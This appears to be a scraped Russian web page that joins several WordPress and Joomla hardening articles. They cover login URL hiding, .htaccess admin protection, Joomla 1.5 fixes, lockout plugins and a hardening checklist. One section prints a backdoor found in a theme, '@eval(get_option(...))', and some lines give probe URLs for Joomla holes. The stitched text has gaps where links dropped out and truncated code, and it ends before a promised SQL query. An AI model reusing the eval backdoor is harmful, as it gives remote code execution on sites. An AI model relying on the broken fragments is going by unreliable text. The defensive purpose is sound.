Атакуют админ панель wordpress что делать. Надёжная защита WordPress от взлома

Атакуют админ панель wordpress что делать. Надёжная защита WordPress от взлома

Вы наверняка уже знаете как можно попасть в админку WordPress?

Сделать это можно как минимум четырьмя способами, добавив к адресу вашего сайта следующее:

  1. /admin, т.е. так: http://вашсайт/admin
  2. /wp-admin
  3. /login
  4. /wp-login.php

В общем-то, все три первых варианта редиректом (перенаправлением) приведут вас всё равно на страницу: http://ваш_сайт/wp-login.php

Получается, что любой желающий сможет добавить к адресу Вашего сайта любую из четырёх выше описанных приставок и увидит вход админку:

Конечно же, это совсем не значит что этот любой желающий сможет также легко попасть в админку, ведь ему нужно еще знать Имя пользователя или Ваш e-mail и Ваш пароль.

Если Ваш пользователь-администратор имеет логин: – то это совсем не осмотрительно с Вашей стороны и злоумышленнику останется только угадать или подобрать Ваш пароль.

Кроме того, вы увидели надпись: Имя пользователя или e-mail ? Да, да, именно e-mail WordPress может использовать как Имя пользователя. А Вы ведь могли где-нибудь на сайте указать E-mail адрес, который совпадает с E-mail пользователя-администратора. Получается первое, что может попробовать злоумышленник – это ввести Ваш E-mail и тут WordPress ему снова поможет, ведь если E-mail не подходит он увидит такое сообщение:

а если E-mail правильный, WordPress-напишет что пароль для него не верный:

В итоге, мы имеем ситуацию при которой потенциальному злоумышленнику для взлома Вашего сайта (доступа в админку) нужно будет только угадать или подобрать Ваш пароль.

Как же защитить вход в админку от потенциальной угрозы? Ответ прост – постараться увеличить количество неизвестных, необходимых для входа.

А теперь давайте подробнее:

  1. По возможности, сделайте так чтобы E-mail пользователя-администратора на сайте нигде не упоминался – публичный E-mail должен быть каким-нибудь другим.
  2. Ваш пароль должен быть не простым, при установке WordPress сам генерирует для вас сложный пароль, если не хотите его использовать придумайте какой-нибудь более менее сложный пароль, включающий в себя маленькие и большие символы, цифры и какие-нибудь символы типа -, ?, _ и т.д.
  3. Имя Вашего пользователя тоже не должно быть простым, никаких: admin, manager, root, administrator, user и прочих простейших слов!
  4. И наконец, нужно ввести третью самую главную неизвестную – поменять URL-адрес входа в админку, для этого установите простой плагин: WPS Hide Login
WPS Hide Login

Простой, бесплатный и довольно популярный плагин, позволяющий изменить URL-адрес входа в админку.

После установки и активации плагина, вам нужно перейти в раздел админки: Настройки / Общие , далее прокрутить страницу до самого низа и увидеть всего один параметр добавляемый этим плагином:

По умолчанию плагин предлагает использовать вход http://вашсайт/login – но это отнюдь не самый лучший вариант! Придумайте что-нибудь своё, например: yyy12_go )))

После изменения этого параметра не забудьте нажать на кнопку Сохранить изменения – иначе при активном плагине у вас будет вход через http://вашсайт/login

Обязательно попробуйте выйти и снова зайти в админку, но уже по новому адресу входа, который вы сами придумали и главное не забудьте его!

После изменения точки входа в админку, при попытке зайти по стандартным URL-адресам пользователь будет получать 404 страницу ошибки.

Внимание! Если вдруг Вы забудете новый адрес входа в админку, вам нужно будет отключить данный плагин. Сделать это можно не попадая в админку при наличии доступа к папкам и файлам сайта. Нужно просто переименовать или удалить папку плагина wps-hide-login, которая будет в папке plugins (папка plugins находится в папке wp-content).

В итоге: после применения всех выше перечисленных мер мы должны получить защиту входа в админку с тремя неизвестными: E-mail / Имя пользователя, сложный пароль и свой уникальный URL-адрес входа – а это может значительно усложнить потуги юных хакеров)

Здравствуйте, уважаемые читатели блога сайт. Сегодня хочу поговорить про безопасность работы и некоторые методы защиты сайта от взлома. К сожалению, я не являюсь экспертом в этой области и мои познания мало выходят за рамки статьи про , но я просто опишу свой недавний опыт. Ничего сложно я не использовал, но надеюсь, что это повысит безопасность работы с моими сайтами.

Речь пойдет о двойной аутентификации для входа в админпанель движка вашего сайта (работать должно на любых CMS, но лично я проверял только на WordPress и Joomla). Защита ставится на уровне сервера, поэтом все попытки подбора пароля к админке (брутфорса) не будут создавать повышенный нагрузки на хостинг и обойти ее довольно сложно. Ставится она легко (буквально в несколько действий) и из всех познаний требует только внимательности и умения получать доступ к сайту по ФТП.

Ну и также приведу пару действий, которые я применил к сайтам на уже морально устаревших движках Joomla 1.5, которые мне нет особого смысла переносить на , но которые у меня постоянно ломают и используют сервер для рассылки спама. Описанные действия я произвел недавно, поэтому не могу констатировать факт прекращения заражения сайтов вирусами, но на это надеюсь. В общем, я попробовал чуток повысить взломоустойчивость Joomla 1.5 .

Как защитить Joomla 1.5 от взлома и проникновения вирусов

Как я уже упомянул выше, проблема заключается в постоянных взломах двух моих сайтов, которые работают под управлением Joomla 1.5. Можно считать их заброшенными, ибо новые материалы я на них не добавляю, но они исправно приносят доход (с размещения статей из Миралинкса и Вебартекса , а также ссылок с Гогетлинкса). В общем, выбросить их жалко, а переводить на новую версию движка «в лом» (жалко потраченного времени и сил).

Остается либо постоянно мониторить нагрузку на сервер и при ее повышении искать среди файлов движков шелы и прочих зловредов, либо каким-то образом усиливать защиту. Для поиска зловредов я выкачиваю файлы движка на компьютер и проверяю их ДокторомВебом и Айболитом. Первый находит далеко не все, а последний видит врага слишком часто там, где его нет, но каких-то других эффективных способов я не знаю. Хотя, есть еще и в десятках программ, но это уже кому как удобнее.

Кстати, скрипт Айболит умеет работать не только на сервере, но и прямо на компьютере в папке с скачанными файлами движка (штатный антивирус только не забудьте отключить при скачивании сайта, ибо он может часть файлов почикать, а на сервере-то они все равно останутся).

Подробная инструкция приведена в расположенном ниже ролике, а если говорить кратко, то вы скачиваете с сайта Майкрософта интерпретатор языка PHP и устанавливаете его. После чего файл скрипта Айболита под названием ai-bolit.php открываете именно с помощью этого самого интерпретатора:

Скорость сканирования зависит от быстродействия вашего компьютера и количества файлов в движке вашего сайта. У меня это заняло несколько часов для https://сайт, ибо даже картинки «Айболит» подозревает в сокрытии вирусов, а этих самых картинок у меня куча, да и файлы кеша много времени отнимают при сканирования. Для сайтов на Joomla 1.5 проверка проходила намного быстрее.

Решил потратить день для поиска пути повышения безопасности сайтов. Сделать удалось совсем немного, но все же лучше, чем ничего. Давайте начнем с укрепления защиты (со снижения уязвимости) двух сайтов на Joomla 1.5 . Было сделано следующее:


Как еще защитить Joomla 1.5 от вирусов и потоковых взломов

  1. Также «специалисты» уверяют, что сайты на Joomla 1.5 ломают «на раз-два» путем использования имеющейся в движке (через нее якобы можно сменить пароль админа). Даже если вы регистрацию на своем сайте не используете и ссылку на восстановление нигде не выводите, то это не значит, что эту уязвимость вы прикрыли. Просто добавьте следующий фрагмент к урлу главной страницы своего сайта и получите искомую возможность: /index.php?option=com_user&view=reset

    Собственно, для закрытия этой лазейки (но вот как ей воспользоваться для взлома я так и не понял) можно просто удалить такой вот файлик:

    /components/com_user/models/reset.php Правда после этого никто из зарегистрированных у вас на сайте пользователей воспользоваться функцией восстановления паролей не сможет, но для меня это было не важно, ибо регистрации предусмотрено не было.

  2. А еще говорят, что такая полезная шняга, как с помощью добавления к адресу страницы, тоже позволяет писателям вирусов и охотникам до чужого добра добраться-таки до каких-то чувствительных зон вашего сайта и внести в него деструктив, либо как-то по другому над ним надругаться. Штука эта опять же убирается путем правки одного из файлов движка. /libraries/Joomla/application/module/helper.php

    Там нужно удалить два фрагмента кода, или закомментировать, заключив их в /* и */ (этот код не будет выполняться интерпретатором языка). Первый фрагмент такой:

    If(count($result) == 0) { if(JRequest::getBool("tp")) { $result = JModuleHelper::getModule("mod_".$position); $result->title = $position; $result->content = $position; $result->position = $position; } }

    А второй такой:

    If(JRequest::getBool("tp")) { $attribs["style"] .= " outline"; }

    Собственно, после этого сбрасываете кеш и пытаетесь просмотреть позиции модулей в вашем шаблоне с помощью такой вот конструкции:

    Https://сайт/?tp=1

    Ежели не получилось, то вы эту дыру, будем надеяться, закрыли.

  3. Очень часто взламывают сайты не снаружи, а изнутри. Трояны и кейлогены на вашем компе знают, что и где искать, поэтому не храните пароли в ФТП клиентах (есть вариант использовать для этого дела).Еще круче считается — отключить возможность доступа к вашему сайту по ФТП, а вместо этого, где передаваемая информация (в том числе и пароли) шифруется, что делает бесполезным ее перехват. Я, если честно, последним советом пренебрегаю по причине своей «темности». Еще есть вариант настройки доступа к вашему сайту по обычному ФТП только с определенного IP адреса (вашего компьютера), но у моего интернет-провайдера IP динамический (меняется в определенном диапазоне).
  4. Также советуют движка не выше тех, которые реально требуются для его работы. На самом деле, я особо не думая поставил по шаблону:755 на папки и 644 на файлы. можно все с помощью той же Файлзилы. Причем указанные права нужно применять не только для каталогов корневой папки, но и для всех каталогов и файлов, которые лежат внутри них.

    На файлы в корневой папке я поставил права 444, а на каталоги tmp и logs — 705. Можно было бы, конечно, и более жестко «зажать», но у меня в этом нет особого опыта, а тратить время на эксперименты было некогда. Да и к тому же все это не шибко-то серьезно сдержит хакеров, ибо существуют, что все наши старания может свести на нет. Для этого используют подобные команды:

    Поэтому для полного «бетонирования» файлов движка Joomla 1.5 от взлома и посягательств нужно запретить на выполнение смену прав доступа к файлам и папкам через PHP. Делается это в настройках сервера, но я пока не знаю как и где. Если знаете, то киньте ссылочку.

  5. Все вышесказанное призвано снизить вероятность взлома вашего сайта и проникновения на него шелов и прочих зловредов. Однако, предпринятые меры предосторожности не дают гарантии, поэтому было бы замечательно на сервере (где живет ваш сайт на Joomla 1.5) . Это позволит снять весь негатив от просочившейся нечести. Однако, лично я опять же это еще не осуществил по причинам свой «темности». Буду признателен за ссылки на поясняющие сей процесс материалы.
  6. Очень часто ломают сайты, получив доступ к административной панели. Понятно, что она защищена паролем, поэтому методом брутфорса (умного подбора) многие, даже казалось бы сложные пароли ломают на раз-два. Поэтому админку тоже нужно защищать , и лучше это делать не с помощью дополнительных расширений, а именно средствами сервера. Вариантов защиты существует несколько. Например, можно изменить тем или иным образом Урл адрес админки, чтобы взломщик не мог бы начать свое грязное дело.

    Другой метод защиты, который будет в подробностях описан ниже, заключается в создании дополнительной преграды на пути взломщика (живого человека или скрипта). Заключается он в запароливании директории с файлами админки (в Joomla это папка administrator, а в WordPress — wp-admin) средствами веб-сервера. Получается, что при обращении к админке сначала нужно будет ввести логин и пароль для доступа к папке, а уже потом логин и пароль для доступа, собственно, к админке движка. Причем, ломая первый рубеж обороны методами брутфорса, зловред не будет создавать сколь-нибудь значимой дополнительной нагрузки на сервер, что есть хорошо.

  7. Еще одним очень важным, на мой взгляд, замечанием по повышению защищенности ваших сайтов от вломов и заражения вирусами является соблюдение правила: одни сайт — одни аккаунт на хостинге . Да, это дороже, но намного безопаснее. При размещение на одном аккаунте, сразу все ваши сайты будут доступны по ФТП при получении доступа зловреда лишь к одному из них. Ломают сайты на автомате, и надеяться на то, что скрипты не пойдут вверх по дереву каталогов, было бы не разумно. К тому же, лечить пачку сайтов на одном акке хостинга очень тяжело, ибо занимаясь одним сайтом вы упускаете из вида уже вылеченный, который в это время заражают.
  8. Ломать, кстати, могут не только с вашего же сайта, но и с сайта вашего соседа по хостингу, если владельцы должным образом не позаботились об исключении этой возможности. Могут взломать и панель хостинга (типа, ), но в любом случае число взломов по вине хостера мизерно по сравнения с числом взломов по виде беспечности владельцев сайтов.

Как защитить админку своего сайта от взлома?

Я хочу в деталях рассказать о том методе защиты, который совсем недавно использовал сам. Заключается он в запрете доступа к папкам, где лежат файлы административной панели сайта . Запрет устанавливается с помощью замечательного файлика.htaccess, который, по сути, позволяет дистанционно управлять настройками вебсервера, на котором установлен ваш сайт. При этом он умеет делать это избирательно.

Все директивы, прописанные в.htaccess, будут распространяться исключительно только на тот каталог, внутри которого он находится. Хотите что-то изменить в настройках применительно ко всему сайту? Помещайте тогда.htaccess в корневую папку. Ну, а нас интересуют настройки касательно только папки с файлами админки, поэтому мы его туда и поместим. В Joomla это будет папка administrator, в в WordPress — wp-admin.

Однако, одним.htaccess нам не обойтись. Придется задействовать еще и.htpasswd, где будет храниться логин и пароль для доступа к этой самой административной папке. Причем пароль будет храниться не в открытом виде, а в виде MD5 шифра. Восстановить по нему пароль не получится, но зато при вводе правильной комбинации в поле пароля, веб-сервер посчитает для этой комбинации MD5 сумму и сравнит с тем, что хранится в.htpasswd. Если данные совпадут, то вас пустят в админку Joomla или WordPress, а если нет, то не пустят.

Вот и все, осталось только воплотить намеченное в жизнь. Нужно ведь какие-то директивы в.htaccess добавить. Вы знаете какие? Я не знаю. Да и как-то нужно будет пароль перегнать в MD5 последовательность. Проблема. Однако, она имеет довольно простое решение. Добрые люди организовали онлайн-сервис по генерации содержимого для файла.htaccess и файла.htpasswd на основе придуманных вами логина и пароля. Правда, придется еще и абсолютный путь до административной папки указать, но это уже мелочи.

Итак, встречайте — великий и ужасный генератор защиты для админки вашего сайта . Понятно, да? Придумываете, а лучше всего на каком-нибудь создаете две сложнейших комбинации букв, цифр и знаков, после чего их вводите в два верхних поля. Записать их только не забудьте, или в менеджер паролей запихнуть, иначе сами в админку войти не сможете и придется все описанное в этой части начинать делать заново.

Вот, теперича. Знаете такой? Даже если не знаете, не беда. Подключаетесь к сайту по ФТП, создаете в его корне файлик с любым названием (да хоть с таким url_path.php) и добавляете в него такой вот простой код:

"; echo "Полный путь к скрипту и его имя: ".$_SERVER["SCRIPT_FILENAME"]."
"; echo "Имя скрипта: ".$_SERVER["SCRIPT_NAME"]; ?>

Потом заходите в браузер и вводите в адресную строку вот такой вот Урл (с вашим доменом, конечно же):

Https://сайт/url_path.php

В результате увидите тот самый интересовавший вас абсолютный путь. Вводите его в указанном выше генераторе файлов.htaccess и.htpasswd. Не забудьте добавить в конце этого пути название папки administrator или wp-admin без слеша на конце. Все, теперь жмете по кнопочке «Сгенерировать»

И по очереди переносите содержимое для файлов.htaccess и.htpasswd непосредственно в эти самые файлы.

Надеюсь, что вы их уже создали в папках administrator или wp-admin (в зависимости от используемого вами движка)?

Ну, а теперь уже пробуйте зайти в админку. Появляется окно с предложением ввести логин и пароль от вашего веб-сервера? В разных браузерах оно отрисовывается по разному, но в Хроме оно выглядит так:

Если что-то не клеится, то «курите» абсолютный путь до.htpasswd, прописанный в файле.htaccess. В этом случае просто вручную его поправьте при редактировании файла. Вот и все, что я хотел вам сегодня рассказать. Если хотите поругать или что-то добавить, то в путь.

Вирус в WordPress?

Уже после написания этой статьи обнаружил на своем блоге (https://сайт) зловреда (или что-то такое, что установилось в обход моей воли). Я просто хотел что-то там поменять в коде и залез в . В самом его низу, непосредственно перед тегом Body, мне бросился в глаза вызов какой-то незнакомой мне функции ( по ее названию, но ничего путного не обнаружил):

Название вроде бы вменяемое. Примечательно, что недели за три до этого я случайно обнаружил, что у меня появилась новая таблица в базах данных двух моих блогов на WordPress (https://сайт и еще одного). Название у нее было просто замечательное — wp-config. Гугление по этому названию опять ничего путного не дало, ибо все ответы были связаны с одноименным файлом wp-config.php.

Таблица эта здорово быстро росла в размерах (до сотни мегабайт на https://сайт) и в нее писались адреса страниц моего сайта с различными параметрами. Не поняв сути сего процесса, я просто снес эту таблицу и все. Кстати, у меня есть еще один блог на WordPress, но там ничего подобного не наблюдалось.

Ну, а вот тут обнаружил такую «говорящую» вставку в тему. Решил и поглядеть, не добавилось ли там чего-то созвучного с описанной выше строчкой внизу футера. Оказалось, что добавилось. Причем так аккуратненько — ни в самом верху, ни в самом низу, а второй (или третьей) сверху вписанной функцией:

Function wp_custom_page_links_return() { $option = get_option("wp_custom_page_links"); @eval($option); } @eval(get_option("wp_brlinks"));

Тут и замечательный «eval» в глаза бросается. Что примечательно, Айболит (описанный выше) нашел этот фрагмент подозрительным, но у меня пока еще до него руки не дошли, ибо этот скрипт уж очень многих подозревает в неблагонадежности. По поводу этого кода я тоже гуглил и нашел пост (к сожалению, сейчас тот домен блокировали за неоплату) с описанием похожей проблемы. У товарища эта гадость просочилась с новой темой, в которую был зашит какой-то установочный код.

У меня же темы на обоих заразившихся блогах стоят уже по много лет. Наверное, была какая-то уязвимость в движке или , которой оперативно (на потоке) воспользовались недоброжелатели. В общем, проверьте у себя отсутствие подобных вкраплений. Дата изменения описанных файлов приходилась, по-моему, на середину сентября этого года.

Советую так же посмотреть подборку из 17 видеоуроков по обеспечению безопасности сайтов на Joomla . Они будут воспроизводиться один за другим автоматом, а если хотите, то можете переключаться на следующий урок с помощью соответствующей кнопки на панели плеера или выбрать нужный урок из выпадающего меню в верхнем левом углу окна плеера:

Приятного просмотра!

Удачи вам! До скорых встреч на страницах блога сайт

Вам может быть интересно

Сайт на Joomla стал выдавать кучу ошибок типа - Strict Standards: Non-static method JLoader::import () should not be called statically in
Обновление Joomla до последней версии
Создание карты для сайта на Joomla с помощью компонента Xmap
Что такое Joomla
Группы пользователей в Joomla, настройка кэширования и проблема отправки почты с сайта
Компонент K2 для создания блогов, каталогов и порталов на Joomla - возможности, установка и русификация
Модули в Joomla - просмотр позиции, настройка и вывод, а так же назначение суффиксов класса
Как обновить статический Html сайт до динамического на Joomla
Установка WordPress в деталях и картинках, вход в админку WP и смена пароля
Плагины Joomla - TinyMCE, Load Module, Legacy и другие установленные по умолчанию

Привет всем в этом уроке. И в правду он будет короткий но полезный, особенно для новичков. Ребята вы знаете статистику сколько взламываются сайтов, нет? А вот я могу сказать, что каждый четвертый уже был взломан, так это еще по меркам того, что авторы блогов и стационарников знают об этом факте, а так цифра может намного меньше. Сейчас будем делать защиту админки wordpress, потому что это самая первая и прочная стена.

Предисловие.

Как всегда, маленько теории. Видите ли в чем дело, все мы люди, и поведение у нас одинаковое, и пока в одно место нас кое-кто не клюнет, то и рыпатсься не будем, ну правильно я говорю? Все дело в том, что сайт взламывает программа, которая действует по своим алгоритмам, и если ваш сайт дает путь этим алгоритмам, то пиши пропало.

Обезопасить свой сайт это самое первое дело, которое должно быть сделано, и этим надо заниматься всегда и проверять. Так вот большинство администраторов сами облегчают взломщикам их труд, о чем рассказано . Либо же просто у вас стырили пароли, например из программы для FTP соединения с вашим сайтом.

Прочитайте все статьи в и обезопасьте себя, а так же советую пролистать про вирусы, так же очень познавательно.

Плагин ограничения авторизаций.

Нзывается он Login LockDown, устанавливается стандартно, можете прямо через админпанель вордпресса. Вводите в поиске его имя и устанавливаете, как на скриншоте снизу. Он такой один не промажете.

Теперь его надо настроить, в принципе настроек не много, но большинство статей в интернете рассмотрены на старых версиях этого плагина, где там предлагают сделать множество уже бесполезных вещей. Начнем вот вам скриншот, и под ним описание (я разбил на две части, для удобства)

  1. Путь до настроек плагина.
  2. Max Login Retries , это означает число попыток которое может ввести человек, я выставил 3 оптимальный вариант. Если за эти три попытки было не правильно, то доступ к вводу блокируется.
  3. Lockout Length (minutes) , исходя из прошлого пункта, указываем на какое именно время будем делать блоктровку, между попытками ввести данные, я выставил 1 минуту. То есть, предположим вы заходите в админпанель, но с первого раза не смогли, то тогда включается защита админки wordpress сразу же, и вы сможете продолжить лишь через то время, которое прописали здесь.
  4. Lockout Length (minutes) , после нескольких неудач (у меня выставлено три), плагин видит, что все попытки сделать авторизацию бесполезны, и блокирует ip пользователя, вот тут мы и прописываем на какое время, у меня час.
  5. Lockout Invalid Usernames? Считать количество попыток при введении не верного логина, обязательный пункт.

  1. Mask Login Errors? Так же ставим да, обязательно. Все дело в самом вордпрессе, он сам подсказывает, что было введено либо логин либо пароль неверно. И для скрытия этих подсказок и нужен такой пункт.
  2. Show Credit Link? По умолчанию, если этот пункт не отмечен, то будет говориться, что всё охраняется плагином Login LockDown. Чтобы не давать лишней информации, и делаем эту настройку. В старых статьях интернета, советовали лезть в код плагина и делать все руками, но время идет и эту функцию внедрили сами разработчики.
  3. Как все сделали, жмем на эту кнопочку и сохраняем настройки.
  4. Currently Locked Out. А здесь будет список всех ip адресов которые пытались взломать сайт, точнее у кого был превышен лимит на вход.

Заключение.

Давайте, не думайте о блоге как о стационарном роботе, к которому вы пришли, написали, что-то оптимизировали и все. Припомните мое слово,

WordPress одна из самых популярных CMS в мире. Более 18.9% всех Интернет сайтов работает именно на ней, а количество установок превысило 76.5 миллионов. К сожалению, у такой популярности есть свои минусы. Согласно докладу Securi, компании которая специализируется на безопасности сайтов, WordPress самая взламываемая CMS в мире. Однако, если вы будете следовать передовой практике в этом вопросе и осуществите несколько приемов из нашего руководства, вы поймете, что защита WordPress может быть легко укреплена с помощью нескольких простых шагов.

Перед тем, как мы начнём это руководство, проверьте наличие следующего:

  • Доступ к панели управления WordPress
  • Доступ к вашей учетной записи на хостинге (необязательно)

Шаг 1 – Поддержание актуальной версии WordPress

Это станет первым и самым важным шагом для улучшения безопасности WordPress. Если вам нужен чистый сайт без вредоносных программ, вы должны убедиться в том, что версия вашего WordPress актуальна. Возможно этот совет выглядит простым, однако, только 22% всех установок WordPress приходится на последнюю версию.

WordPress реализовал функцию автоматического обновления в версии 3.7, но работает она только для небольших обновлений безопасности. Тогда как крупные, ключевые обновления должны быть установлены вручную.

В случае, если вы не знаете, как обновить WordPress, загляните сюда .

Шаг 2 – Использование нестандартных учетных данных для входа

Вы используете admin, как имя администратора в WordPress? Если ваш ответ да, то вы серьезно снижаете защиту WordPress и упрощаете процесс взлома хакерами вашей панели управления. Строго рекомендуется изменить имя пользователя администратора на что-нибудь другое (посмотрите это руководство , если вы не уверены, как это сделать) или создайте новую учетную запись администратора с другими данными. Следуйте этим шагам, если вы предпочитаете второй вариант:

Хороший пароль играет ключевую роль в безопасности WordPress. Гораздо сложнее взломать пароль состоящий из цифр, букв нижнего и верхнего регистра и специальных знаков. Такие инструменты, как LastPass и 1Password могут помочь в создании и управлении сложными паролями. Кроме того, если вам когда-либо понадобится войти в свою панель управления WordPress при подключении к незащищенной сети (например, в кофейнях, публичных библиотеках и т. д.), не забудьте использовать безопасный VPN , который защитит вашу регистрационную информацию.

Шаг 3 – Включение двухэтапной аутентификации

Двухэтапная аутентификация добавляет дополнительный слой защиты для вашей страницы авторизации. После подтверждения имени пользователя, она добавляет еще один этап, который необходимо завершить для успешной авторизации. Скорее всего вы уже используете это для доступа к почте, онлайн банку и другим учетным записям, содержащим конфиденциальную информацию. Почему бы не использовать это и в WordPress?

Хотя это может показаться сложным, включить двухэтапную аутентификацию в WordPress очень легко. Все что вам нужно, это установить мобильное приложение для двухэтапной аутентификации и настроить его для вашего WordPress. Вы сможете найти более детальную информацию, как включить двухэтапную аутентификацию на WordPress .

Шаг 4 – Отключение отправки отчетов об ошибках PHP

Отчеты об ошибках PHP могут быть довольно полезны, если вы занимаетесь разработкой сайта и хотите удостоверится, что все работает правильно. Однако показывать ошибки всем, это серьезное упущение в безопасности WordPress.

Вы должны исправить это, как можно быстрее. Не пугайтесь, вам не надо быть программистом, чтобы отключить отчеты об ошибках PHP на WordPress. Большинство провайдеров услуг хостинга предоставляют такую опцию в панели управления. Если нет, то просто добавьте следующие строчки в ваш файл wp-config.php . Вы можете использовать или для редактирования файла wp-config.php .

Error_reporting(0); @ini_set(‘display_errors’, 0);

Вот и все. Отчеты об ошибках отключены.

Шаг 5 – Не используйте nulled шаблоны для WordPress

Запомните “Бесплатный сыр бывает только в мышеловке”. Это же касается nulled шаблонов и плагинов.

По всему Интернету существует тысячи nulled плагинов и шаблонов. Пользователи могут бесплатно их скачать, используя различные файлообменники или торрент файлы. Они не знают, что большинство из них заражены вредоносными программами или ссылками черных методов поисковой оптимизации.

Перестаньте использовать nulled плагины и шаблоны. Это не только не этично, но и наносит вред вашей безопасности WordPress. В конечном итоге, вы больше заплатите разработчику за очистку вашего сайта.

Шаг 6 – Сканирование WordPress на наличие вредоносных программ

Чтобы заразить WordPress, хакеры часто используют дыры в шаблонах или плагинах. Поэтому, важно почаще проводить проверку вашего блога. Существует множество хорошо написанных плагинов для этих целей. WordFence выделяется из этого множества. Он предлагает руководство по применению и возможность автоматической проверки, вместе с кучей других разных настроек. Вы даже можете восстановить модифицированные/зараженные файлы в пару кликов. Распространяется он на бесплатной основе. Этих фактов должно быть достаточно, чтобы вы установили его прямо сейчас.

Другие популярные плагины для усиления безопасности WordPress:

  • BulletProof Security – в отличии от WordFence, о котором мы говорили ранее, BulletProof не сканирует ваши файлы, но он предоставляет вам фаервол, защиту базы данных и т.д. Отличительной особенностью является возможность настройки и установки плагина в несколько кликов мыши.
  • Sucuri Security – этот плагин защитит вас от DDOS атак, содержит черный список, сканирует ваш сайт на наличие вредоносных программ и управляет вашим фаерволом. При обнаружении чего-либо. вы будете оповещены через электронную почту. Google, Norton, McAfee – в этот плагин включены все черные списки из этих программ. Вы можете найти полное руководство об установке плагинов для сайта WordPress .

Шаг 7 – Перенос сайта на более безопасный хостинг

Возможно, этот совет может показаться странным, но статистика показывает, что более 40% сайтов на WordPress были взломаны из-за дыр в безопасности хостинг аккаунта. Эта статистика должна подтолкнуть вас перенести WordPress на более безопасный хостинг. Немного ключевых фактов которые необходимо держать в уме при выборе нового хостинга:

  • Если это виртуальный хостинг, удостоверьтесь, что ваша учетная запись изолирована от других пользователей, и нет риска заражения от других сайтов на сервере.
  • На хостинге присутствует функция автоматического бэкапа (резервного копирования).
  • Сервер имеет сторонний фаервол и инструмент для сканирования.

Шаг 8 – Делайте резервное копирование данных настолько часто, насколько это возможно

Даже самые большие сайты взламываются каждый день, несмотря на тот факт, что их владельцы тратят тысячи на улучшение безопасности WordPress.

Если вы следуете передовой практике в этом вопросе и применили советы из этой статьи, вам все равно необходимо регулярно делать резервное копирование вашего сайта.

Существует несколько путей для создания бэкапа. К примеру, вы можете вручную скачать файлы сайта и экспортировать базу данных, или воспользоваться инструментами, предлагаемыми вашей хостинговой компанией. Еще один путь, использовать WordPress плагины. Самые популярные из них:

Вы даже можете автоматизировать процесс создания и хранения бэкапов WordPress бэкапы в Dropbox .

Шаг 9 – Выключение редактирования файлов

Как вы наверно знаете, WordPress имеет встроенный редактор, который позволяет редактировать PHP файлы. Эта функция настолько же полезна, насколько она может нанести вред. Если хакеры получат доступ к вашей панели управления, первая вещь, на которую они обратят внимание, это Редактор Файлов . Некоторые пользователи WordPress предпочитают полностью выключить эту функцию. Она может быть выключена редактированием файла wp-config.php , путем добавления туда следующего кода:

Define("DISALLOW_FILE_EDIT", true);

Это все, что вам нужно для отключения этой функции в WordPress.

ВАЖНО! В случае, если вы хотите повторно включить эту функцию, используйте FTP клиент или Файловый менеджер вашего хостинга и удалите этот код из файла wp-config.php .

Шаг 10 – Удаление неиспользуемых шаблонов и плагинов

Сделайте уборку вашего сайта на WordPress и удалите все неиспользуемые шаблоны и плагины. Хакеры часто используют отключенные и устаревшие шаблоны и плагины (даже официальные плагины WordPress) для получения доступа к вашей панели управления, или загрузки вредоносного содержимого на ваш сервер. Удаляя плагины и шаблоны, которые вы перестали использовать (и возможно забыли обновить) давным давно, вы снижаете риски и делаете ваш сайт на WordPress более безопасным.

Шаг 11 – Использование.htaccess для улучшения защиты WordPress

Htaccess это файл необходимый для корректной работы ссылок WordPress. Без правильных записей в файле.htaccess, вы будете получать много ошибок 404.

Не так много пользователей знают, что.htaccess может быть использован для улучшения защиты WordPress. К примеру, вы можете блокировать доступ или отключать выполнение PHP в определенных папках. Внизу приведены примеры того, как вы можете использовать.htaccess для улучшения безопасности сайта на WordPress.

ВАЖНО! Перед тем, как вы произведете изменения в файле, сделайте резервное копирование старого файла.htaccess. Для этого вы можете использовать или .

Запрет доступа к административной части WordPress

Код ниже позволит вам получать доступ к административной части WordPress только с определенных IP.

AuthUserFile /dev/null AuthGroupFile /dev/null AuthName "WordPress Admin Access Control" AuthType Basic order deny,allow deny from all allow from xx.xx.xx.xxx allow from xx.xx.xx.xxx

Заметьте, что вам нужно изменить XX.XX.XX.XXX на ваш IP адрес. Вы можете использовать этот сайт для проверки вашего нынешнего IP. Если вы используете больше чем одно подключение для управления сайтом на WordPress, то удостоверьтесь, что написали другие IP адреса (добавляйте столько адресов, сколько вам понадобится). Не рекомендуется использовать этот код, если у вас динамический IP адрес.

Отключение выполнения PHP в определенных папках

Хакеры любят загружать бэкдор скрипты в папку загрузок WordPress. По умолчанию эта папка используется только для хранения медиафайлов. Следовательно, не должна содержать каких-либо PHP файлов. Вы можете легко отключить выполнение PHP, создав новый файл.htaccess в /wp-content/uploads/ с такими правилами:

deny from all

Защита файла wp-config.php

Файл wp-config.php содержит ядро настроек WordPress и детали базы данных MySQL. Следовательно, это самый важный файл в WordPress. Поэтому он чаще всего становится главной целью WordPress хакеров. Однако вы можете легко обезопасить его используя следующие правила в.htaccess:

order allow,deny deny from all

Шаг 12 – Изменение стандартных префиксов базы данных WordPress для предотвращения внедрения SQL-кода

База данных WordPress содержит и хранит в себе всю ключевую информацию необходимую для работы вашего сайта. В результате, она становится еще одной целью хакеров и спамеров, которые выполняют автоматизированный код для проведения внедрения SQL-кода. Во время установки WordPress, многие люди не утруждают себя изменением стандартного префикса базы данных wp_. Согласно данным WordFence , 1 из 5 взломов WordPress связан с внедрением SQL-кода. Так как wp_ это одно из стандартных значений, сперва хакеры начинают именно с него. На данном этапе мы кратко рассмотрим, как защитить сайт на WordPress от подобного рода атак.

Изменение таблицы префиксов для существующего сайта на WordPress

Часть первая – Изменение префикса в wp-config.php

Найдите ваш файл wp-config.php используя или найдите строку со значением $table_prefix.

Можете добавить дополнительные цифры, буквы или нижние подчеркивания. После этого, сохраните изменения и перейдите к следующему этапу, В этом руководстве мы используем wp_1secure1_, как новый префикс таблицы.

Пока вы находитесь в вашем файле wp-config.php , также найдите имя вашей базы данных, чтобы знать какую именно изменить. Поищите в секции define(‘DB_NAME’.

Часть вторая – Обновление всех таблиц базы данных

Сейчас вам нужно обновить все записи в вашей базе данных. Это может быть сделано используя phpMyAdmin.

Найдите базу данных определенную в первой части и войдите в нее.

По умолчанию, установка WordPress имеет 12 таблиц и каждая должна быть обновлена. Однако это можно сделать быстрее, используя раздел SQL в phpMyAdmin.

Изменять каждую таблицу вручную займет огромное количество времени, поэтому мы используем SQL запросы, чтобы ускорить процесс. Используйте следующий синтаксис для обновления всех таблиц в вашей базе данных:

